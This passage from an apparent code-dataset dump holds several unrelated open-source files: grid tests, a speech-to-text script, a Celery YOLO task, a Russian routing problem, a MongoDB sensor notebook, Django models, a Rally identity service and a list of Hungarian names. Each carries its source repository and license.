ActiveBlock(WIDTH-1, 0, Block([(0, 0)]))).is_valid()\n # top right\n assert not Grid([], ActiveBlock(WIDTH, HEIGHT, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(WIDTH-1, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH, HEIGHT-1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(WIDTH-1, HEIGHT-1, Block([(0, 0)]))).is_valid()\n # top left\n assert Grid([], ActiveBlock(0, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, HEIGHT-1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(0, HEIGHT-1, Block([(0, 0)]))).is_valid()\n\n@pytest.mark.skip\ndef test_valid_corners_placed():\n # bottom left\n assert not Grid([Block([(-1, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(0, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(0, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # bottom right\n assert not Grid([Block([(WIDTH, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH-1, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # top right\n assert not Grid([Block([(WIDTH, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # top left\n assert Grid([Block([(0, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(0, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n\n@pytest.mark.skip\ndef test_empty_is_occupied_all():\n g = Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n assert not any(g.is_occupied((x, y)) for x in range(WIDTH) for y in range(HEIGHT))\n\n@pytest.mark.skip\ndef test_dot_is_occupied_all():\n occupied_posn = (WIDTH // 2, HEIGHT // 2)\n unoccupied_posns = {(x, y) for x in range(WIDTH) for y in range(HEIGHT)} - {occupied_posn}\n g = Grid([Block([occupied_posn])], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.is_occupied(occupied_posn)\n assert not any(g.is_occupied(p) for p in unoccupied_posns)\n\n@pytest.mark.skip\ndef test_empty_clear_full_rows():\n g = Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == g\n\n@pytest.mark.skip\ndef test_bottom_full_dots_clear_full_rows():\n g = Grid([Block([(x, 0)]) for x in range(WIDTH)], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_bottom_two_full_dots_clear_full_rows():\n g = Grid([Block([(x, y)]) for x in range(WIDTH) for y in (0, 1)], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_place_block_dot():\n g = Grid([], ActiveBlock(1, 2, Block([(3,4)])))\n assert g.place_block() == Grid([Block([(4, 6)])], None)", "source": "BaseCampCoding/python-fundamentals", "license": "MIT"} {"text": "def stt():\n import os\n import glob\n from os import listdir\n import librosa\n import speech_recognition as sr\n import re\n from scipy.io import wavfile\n import numpy as np\n import soundfile as sf\n\n path = 'speakers/'\n text_files = [f for f in os.listdir(path) if f.endswith('.wav')]\n text_files.sort(key=lambda f: int(re.sub('\\D', '', f)))\n print(text_files)\n print('Files count:', len(text_files))\n recognizer = sr.Recognizer()\n\n\n def convert(filename, output, speakerid):\n file = open(output, \"a\")\n print(filename)\n # y, s = librosa.load(filename, sr=8000)\n # sf.write(filename, y, s)\n try:\n with sr.AudioFile(filename) as source:\n # listen for the data (load audio to memory)\n audio_data = recognizer.record(source)\n # recognize (convert from speech to text)\n # text = speakerid + ': '\n text = recognizer.recognize_google(audio_data)\n print(speakerid + ': ' + text)\n file.writelines(speakerid + ': ' + text + '\\n')\n file.close()\n\n except sr.RequestError as e:\n print(\"Could not request results; {0}\".format(e))\n\n except sr.UnknownValueError:\n # print(\"unknown error occurred\")\n pass\n\n\n i = 0\n for filename in text_files:\n str1 = path + filename\n str2 = path + 'speaker3.txt'\n if i % 2 == 0:\n convert(str1, str2, 'speaker0')\n else:\n convert(str1, str2, 'speaker1')\n i += 1\n print('Speech-to-Text File created!')\n", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"} {"text": "import logging\nfrom celery import Task\nfrom celery.exceptions import MaxRetriesExceededError\nfrom .app_worker import app\nfrom .yolo import YoloModel\n\n\nclass PredictTask(Task):\n def __init__(self):\n super().__init__()\n self.model = None\n\n def __call__(self, *args, **kwargs):\n if not self.model:\n logging.info('Loading Model...')\n self.model = YoloModel()\n logging.info('Model loaded')\n return self.run(*args, **kwargs)\n\n\n@app.task(ignore_result=False, bind=True, base=PredictTask)\ndef predict_image(self, data):\n try:\n data_pred = self.model.predict(data)\n return {'status': 'SUCCESS', 'result': data_pred}\n except Exception as ex:\n try:\n self.retry(countdown=2)\n except MaxRetriesExceededError as ex:\n return {'status': 'FAIL', 'result': 'max retried achieved'}\n", "source": "csouflis/object-detection-api", "license": "MIT"} {"text": "\"\"\"\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u0430\u043c \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f,\n\u043a\u0440\u043e\u043c\u0435 \u043a\u0430\u043a \u0434\u043b\u044f \u043f\u043e\u0441\u0430\u0434\u043a\u0438 \u043f\u0430\u0441\u0430\u0436\u0438\u0440\u0430. \u0410 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440 \u043d\u0435\n\u0441\u043e\u0433\u043b\u0430\u0441\u0435\u043d \u0436\u0434\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 3 \u043c\u0438\u043d\u0443\u0442. \u0412 \u044d\u0442\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435\n\u043f\u0435\u0448\u0435\u0445\u043e\u0434 \u0437\u0430\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u0441\u0438 \u0432 \u0442\u043e\u0447\u043a\u0443 X \u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\n\u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u0432 180 \u0441\u0435\u043a\u0443\u043d\u0434. \u0412\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c\n\u0440\u043e\u0432\u043d\u043e \u0432 \u044d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0440\u0430\u043d\u044c\u0448\u0435, \u0442\u043e\n\u043e\u0436\u0438\u0434\u0430\u0442\u044c \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043b\u044c\u0437\u044f. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c\n\u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u0437\u0434\u043d\u043e, \u0442\u043e \u0440\u0430\u0437\u043e\u0437\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\n\u0437\u0430\u043a\u0430\u0437.\n\n\u0418\u0437-\u0437\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c\n\u0432\u0441\u0435\u0433\u043e Z \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u043c\u043e\u043c\u0435\u043d\u0442\n\u0441\u0442\u0430\u0440\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0432\u0435\u0440\u0448\u0438\u043d\u0435 \u0433\u0440\u0430\u0444\u0430\n\u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0433\u043e \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f. \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430\n\u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u043d\u0430\u0438\u043b\u0443\u0447\u0448\u0435\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0438\u0437 \u0442\u0435\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435\n\u0443\u0441\u043f\u0435\u044e\u0442 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b. \u041d\u0430\u0438\u043b\u0443\u0447\u0448\u0438\u043c\n\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0435\u0434\u0435\u0442 \u043d\u0430 \u0437\u0430\u043a\u0430\u0437\n\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043b\u0438\u0437\u043a\u043e \u043a \u043d\u0430\u0447\u0430\u043b\u0443 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0430. \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0445\n\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e, \u0442\u043e \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445.\n\n\u041d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u0443\u0441\u043f\u0435\u0432\u0430\u0435\u0442\n\u043b\u0438 \u043e\u043d \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b, \u0438 \u0435\u0441\u043b\u0438 \u0434\u0430 -\n\u0442\u043e \u043a \u043a\u0430\u043a\u043e\u043c\u0443 \u0441\u0430\u043c\u043e\u043c\u0443 \u0440\u0430\u043d\u043d\u0435\u043c\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\n\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0435 \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c.\n\n\u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\n\u0414\u0430\u043d\u043e:\n1. \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 G \u0441 N \u0432\u0435\u0440\u0448\u0438\u043d\u0430\u043c\u0438 \u0438 K \u0440\u0435\u0431\u0440\u0430\u043c\u0438,\n \u0432\u0435\u0440\u0448\u0438\u043d\u044b \u043f\u0440\u043e\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442 0 \u0434\u043e N-1, 0 \u2264 N \u2264 10^4,\n 0 \u2264 K \u2264 10^4. \u041a\u0430\u0436\u0434\u043e\u043c\u0443 \u0440\u0435\u0431\u0440\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0440\u0435\u043c\u044f\n \u043f\u043e\u0435\u0437\u0434\u043a\u0438 \u0432 \u043d\u0435\u043c - \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e W, 10 \u2264 W \u2264 10^4.\n2. \u041f\u043e\u0437\u0438\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0430 \u043d\u0430 \u0433\u0440\u0430\u0444\u0435 ID_target\n3. Z \u043f\u043e\u0437\u0438\u0446\u0438\u0439 \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0433\u0440\u0430\u0444\u0435 ID_sourcez,\n 1 \u2264 Z \u2264 10^4\n4. \u0412\u0440\u0435\u043c\u044f t0, 0 \u2264 t0 \u2264 600 - \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e\n\u041d\u0430\u0434\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u043ee t_min \u0447\u0442\u043e:\n1. \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 ID_sourcez \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\n \u043a ID_target, \u0447\u0442\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u0435\u0437\u0436\u0430\u0435\u0442 \u0432 t_min\n2. t_min \u2208 [t0; t0+180]\n3. \u0438 \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0440\u0430\u043d\u043d\u0438\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 t_min : t_min \u2264 t_i\n \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0433\u043e t_i, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0435\u0433\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c 1 \u0438 2;\n4. \u0418\u043b\u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0433\u043e t_min \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\n\"\"\"\n\nfrom pathlib import Path\n\n\nscriptDir = Path.cwd()\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n\n", "source": "galavasteg/YXProgChallenge2019", "license": "MIT"} {"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom pymongo import MongoClient\nimport os\nimport json\nfrom bson.json_util import dumps\nimport datetime\n\n\ndbuser = \"\"\n_id = \"\"\ndbpassword = \"\"\n\nuri = f\"mongodb://{dbuser}:{dbpassword}@ds043972.mlab.com:43972/{_id}\"\n \nstable = {\n 'Oxidising Gas': 400,\n 'Reducing Gas': 3.0,\n 'nh3 Gas': 3.0\n}\n \n\n\n# In[2]:\n\n\nclient = MongoClient(uri, retryWrites=False)\ndb = client[_id]\n\n\n# In[3]:\n\n\ncursor = db.readings.find({})\ndocs = []\nfor document in cursor:\n docs.append(document)\n\n\n# In[ ]:\n\n\nimport pandas as pd\ndf = pd.DataFrame(docs)\ndf['Volts'] = df['CPU Volts'].astype(float)\nformat = '%d/%m/%Y %H:%M'\ndf['Datetime'] = pd.to_datetime(df['Date'] + ' ' + df['Time'], format=format)\ndf = df.set_index(pd.DatetimeIndex(df['Datetime']))\n\n\n# In[ ]:\n\n\nx = df['2020-06-29 18:00:00' : '2020-06-30 23:59:59' ] \n\n\n# In[ ]:\n\n\nx[x['Device']=='Enviro']['Reducing Gas'].plot()\n\n\n# In[71]:\n\n\nfrom datetime import date\ntoday = date.today()\n\n\ndef day_summary(present=True, target=[None]): \n if present:\n today = date.today()\n d1 = today.strftime(\"%d/%m/%Y\") \n match = {\"$match\" : {\"Date\" : d1}} \n else:\n if (len(target) == 1):\n d1 = target[0]\n match = {\"$match\" : {\"Date\" : d1}} \n \n else:\n d1 = target[0]\n d2 = target[1]\n match = {\"$match\" : {\"$and\" : [{\"Date\" : { \"$gte\":d1, \"$lte\": d2}}]}} \n \n group = {\n \"$group\" : {'_id': {\n \"Host\": \"$Host\",\n \"Device\": \"$Device\",\n \"Date\": \"$Date\"\n }, \n 'Avg Temp': {'$avg':'$CPU Core'},\n 'Avg Freq': {'$avg':'$CPU Clock'},\n 'Obs': {'$sum': 1},\n 'Humidity' : {'$avg': '$Room Humidity'},\n 'Pressure' : {'$avg': '$Room Pressure'},\n 'Ox Gas' : {'$avg': '$Oxidising Gas'},\n 'Red Gas' : {'$avg': '$Reducing Gas'},\n 'nh3 Gas' : {'$avg' : '$nh3 Gas'}\n } \n } \n \n proj = {\n \"$project\": {\n \"Date\" : { \n \"$dateFromString\" : \n {\n \"dateString\": '$Date',\n \"timezone\": 'Europe/Dublin'\n }\n },\n \"Host\":1,\n \"Device\":1,\n \"CPU Core\":1,\n \"Room Pressure\":1,\n \"Room Pressure\":1,\n \"Oxidising Gas\":1,\n \"Reducing Gas\":1,\n \"nh3 Gas\":1,\n \"CPU Clock\":1\n }\n } \n \n pipeline = [\n match,\n group\n ]\n\n agg_sum = db.readings.aggregate(pipeline) \n docs = []\n for b in agg_sum:\n rec = {}\n rec['Host'] = b['_id']['Host']\n rec['Device'] = b['_id']['Device']\n rec['Date'] = b['_id']['Date']\n del b['_id'] \n for key in b.keys():\n rec[key] = b[key] \n docs.append(rec) \n \n return docs\n \n \n\n\n# In[72]:\n\n\nd = day_summary(False, ['26/06/2020', '30/06/2020'])\n\n\n# In[73]:\n\n\nd\n\n\n# In[75]:\n\n\nimport pandas as pd\nff = pd.DataFrame(d)\n\n\n# In[76]:\n\n\nff\n\n\n# In[77]:\n\n\nff['Date'].unique()\n\n\n# In[ ]:\n\n\n\n\n", "source": "CognitiveDave/e2eSensorNetwork", "license": "Apache-2.0"} {"text": "from namespace import project\n\nif __name__ == \"__main__\":\n dummy = project.Dummy()\n dummy.setVal(42)\n print(dummy.getVal())\n dummy = project.Dummy(42)\n", "source": "burgholzer/template", "license": "MIT"} {"text": "from django.db import models\nfrom polymorphic.models import PolymorphicModel\n\n\nclass Interface(PolymorphicModel):\n name = models.CharField(max_length=30, unique=True)\n\n def __str__(self):\n return self.name\n\n\nclass NetworkInterface(Interface):\n mac_address = models.CharField(max_length=23)\n address = models.CharField(max_length=30)\n\n\nclass BackplaneNetworkInterface(Interface):\n pass\n\n\nclass UartInterface(Interface):\n uri = models.CharField(max_length=30)\n", "source": "cygerior/LabManager", "license": "MIT"} {"text": "# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.task import service\n\n\nProject = service.make_resource_cls(\"Project\", [\"id\", \"name\", \"domain_id\"])\nUser = service.make_resource_cls(\n \"User\", properties=[\"id\", \"name\", \"project_id\", \"domain_id\"])\nService = service.make_resource_cls(\"Service\", properties=[\"id\", \"name\"])\nRole = service.make_resource_cls(\"Role\", properties=[\"id\", \"name\"])\n\n\nclass Identity(service.UnifiedService):\n @classmethod\n def is_applicable(cls, clients):\n cloud_version = clients.keystone().version.split(\".\")[0][1:]\n return cloud_version == cls._meta_get(\"impl\")._meta_get(\"version\")\n\n @service.should_be_overridden\n def create_project(self, project_name=None, domain_name=\"Default\"):\n \"\"\"Creates new project/tenant and return project object.\n\n :param project_name: Name of project to be created.\n :param domain_name: Name or id of domain where to create project, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n \"\"\"\n return self._impl.create_project(project_name,\n domain_name=domain_name)\n\n @service.should_be_overridden\n def update_project(self, project_id, name=None, enabled=None,\n description=None):\n \"\"\"Update project name, enabled and description\n\n :param project_id: Id of project to update\n :param name: project name to be set\n :param enabled: enabled status of project\n :param description: project description to be set\n \"\"\"\n self._impl.update_project(project_id, name=name, enabled=enabled,\n description=description)\n\n @service.should_be_overridden\n def delete_project(self, project_id):\n \"\"\"Deletes project.\"\"\"\n return self._impl.delete_project(project_id)\n\n @service.should_be_overridden\n def list_projects(self):\n \"\"\"List all projects.\"\"\"\n return self._impl.list_projects()\n\n @service.should_be_overridden\n def get_project(self, project_id):\n \"\"\"Get project.\"\"\"\n return self._impl.get_project(project_id)\n\n @service.should_be_overridden\n def create_user(self, username=None, password=None, project_id=None,\n domain_name=\"Default\", enabled=True,\n default_role=\"member\"):\n \"\"\"Create user.\n\n :param username: name of user\n :param password: user password\n :param project_id: user's default project\n :param domain_name: Name or id of domain where to create user, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n :param enabled: whether the user is enabled.\n :param default_role: Name of role, for implementations that don't\n support domains this argument must be None or\n 'member'.\n \"\"\"\n return self._impl.create_user(username=username,\n password=password,\n project_id=project_id,\n domain_name=domain_name,\n default_role=default_role)\n\n @service.should_be_overridden\n def create_users(self, owner_id, number_of_users, user_create_args=None):\n \"\"\"Create specified amount of users.\n\n :param owner_id: Id of tenant/project\n :param number_of_users: number of users to create\n :param user_create_args: additional user creation arguments\n \"\"\"\n return self._impl.create_users(owner_id,\n number_of_users=number_of_users,\n user_create_args=user_create_args)\n\n @service.should_be_overridden\n def delete_user(self, user_id):\n \"\"\"Deletes user by its id.\"\"\"\n self._impl.delete_user(user_id)\n\n @service.should_be_overridden\n def list_users(self):\n \"\"\"List all users.\"\"\"\n return self._impl.list_users()\n\n @service.should_be_overridden\n def update_user(self, user_id, enabled=None, name=None, email=None,\n password=None):\n return self._impl.update_user(user_id, enabled=enabled, name=name,\n email=email, password=password)\n\n @service.should_be_overridden\n def get_user(self, user_id):\n \"\"\"Get user.\"\"\"\n return self._impl.get_user(user_id)\n\n @service.should_be_overridden\n def create_service(self, name=None, service_type=None, description=None):\n \"\"\"Creates keystone service with random name.\n\n :param name: name of service to create\n :param service_type: type of the service\n :param description: description of the service\n \"\"\"\n return self._impl.create_service(name=name, service_type=service_type,\n description=description)\n\n @service.should_be_overridden\n def delete_service(self, service_id):\n \"\"\"Deletes service.\"\"\"\n self._impl.delete_service(service_id)\n\n @service.should_be_overridden\n def list_services(self):\n \"\"\"List all services.\"\"\"\n return self._impl.list_services()\n\n @service.should_be_overridden\n def get_service(self, service_id):\n \"\"\"Get service.\"\"\"\n return self._impl.get_service(service_id)\n\n @service.should_be_overridden\n def create_role(self, name=None, domain_name=None):\n \"\"\"Create role with specific name\n\n :param name: role name\n :param domain_name: Name or id of domain where to create role, for\n those service implementations that don't support\n domains you should use None or 'Default' value.\n \"\"\"\n return self._impl.create_role(name=name, domain_name=domain_name)\n\n @service.should_be_overridden\n def add_role(self, role_id, user_id, project_id):\n \"\"\"Add role to user.\"\"\"\n return self._impl.add_role(role_id=role_id, user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def delete_role(self, role_id):\n \"\"\"Deletes role.\"\"\"\n self._impl.delete_role(role_id)\n\n @service.should_be_overridden\n def revoke_role(self, role_id, user_id, project_id):\n \"\"\"Revokes a role from a user.\"\"\"\n return self._impl.revoke_role(role_id=role_id, user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def list_roles(self, user_id=None, project_id=None, domain_name=None):\n \"\"\"List all roles.\n\n :param user_id: filter in role grants for the specified user on a\n resource. Domain or project must be specified.\n :param project_id: filter in role grants on the specified project.\n user_id should be specified\n :param domain_name: filter in role grants on the specified domain.\n user_id should be specified\n \"\"\"\n return self._impl.list_roles(user_id=user_id, project_id=project_id,\n domain_name=domain_name)\n\n @service.should_be_overridden\n def get_role(self, role_id):\n \"\"\"Get role.\"\"\"\n return self._impl.get_role(role_id)\n\n @service.should_be_overridden\n def get_service_by_name(self, name):\n \"\"\"List all services to find proper one.\"\"\"\n return self._impl.get_service_by_name(name)\n\n @service.should_be_overridden\n def create_ec2credentials(self, user_id, project_id):\n \"\"\"Create ec2credentials.\n\n :param user_id: User ID for which to create credentials\n :param project_id: Project ID for which to create credentials\n\n :returns: Created ec2-credentials object\n \"\"\"\n return self._impl.create_ec2credentials(user_id=user_id,\n project_id=project_id)\n\n @service.should_be_overridden\n def list_ec2credentials(self, user_id):\n \"\"\"List of access/secret pairs for a user_id.\n\n :param user_id: List all ec2-credentials for User ID\n\n :returns: Return ec2-credentials list\n \"\"\"\n return self._impl.list_ec2credentials(user_id)\n\n @service.should_be_overridden\n def delete_ec2credential(self, user_id, access):\n \"\"\"Delete ec2credential.\n\n :param user_id: User ID for which to delete credential\n :param access: access key for ec2credential to delete\n \"\"\"\n return self._impl.delete_ec2credential(user_id=user_id, access=access)\n\n @service.should_be_overridden\n def fetch_token(self):\n \"\"\"Authenticate user token.\"\"\"\n return self._impl.fetch_token()\n\n @service.should_be_overridden\n def validate_token(self, token):\n \"\"\"Validate user token.\n\n :param token: Auth token to validate\n \"\"\"\n return self._impl.validate_token(token)\n", "source": "RSE-Cambridge/rally-openstack", "license": "Apache-2.0"} {"text": "male = [\n 'Bence',\n 'M\u00e1t\u00e9',\n 'Levente',\n 'Noel',\n '\u00c1d\u00e1m',\n 'Marcell',\n 'Dominik',\n 'D\u00e1vid',\n 'D\u00e1niel',\n 'Mil\u00e1n',\n 'Botond',\n 'Zal\u00e1n',\n '\u00c1ron',\n 'Oliv\u00e9r',\n 'Bal\u00e1zs',\n 'Krist\u00f3f',\n 'P\u00e9ter',\n 'Tam\u00e1s',\n 'Zsombor',\n 'M\u00e1rk',\n 'L\u00e1szl\u00f3',\n 'Gerg\u0151',\n 'B\u00e1lint',\n 'Nimr\u00f3d',\n 'Benett',\n 'Zolt\u00e1n',\n 'Benedek',\n 'Attila',\n 'Barnab\u00e1s',\n 'Patrik',\n 'Andr\u00e1s',\n '\u00c1kos',\n 'Istv\u00e1n',\n 'G\u00e1bor',\n 'M\u00e1rton',\n 'Z\u00e9t\u00e9ny',\n 'Kriszti\u00e1n',\n 'Zsolt',\n 'Martin',\n 'Alex',\n 'J\u00e1nos',\n 'Vince',\n 'Roland',\n 'J\u00f3zsef',\n 'Korn\u00e9l',\n 'Hunor',\n 'Csaba',\n 'S\u00e1ndor',\n 'Rich\u00e1rd',\n 'Kevin',\n 'R\u00f3bert',\n 'Erik',\n '\u00c1bel',\n 'N\u00e1ndor',\n 'Ferenc',\n 'Norbert',\n 'Benj\u00e1min',\n 'M\u00e1ty\u00e1s',\n 'Zente',\n 'Szabolcs',\n '\u00c1rmin',\n 'Bendeg\u00faz',\n 'Mih\u00e1ly',\n 'Soma',\n 'Brendon',\n 'Gergely',\n 'Viktor',\n 'Tibor',\n 'Benjamin',\n 'Vilmos',\n 'Csongor',\n 'Nikolasz',\n 'Imre',\n 'Nolen',\n 'Mikl\u00f3s',\n 'Kende',\n 'Boldizs\u00e1r',\n 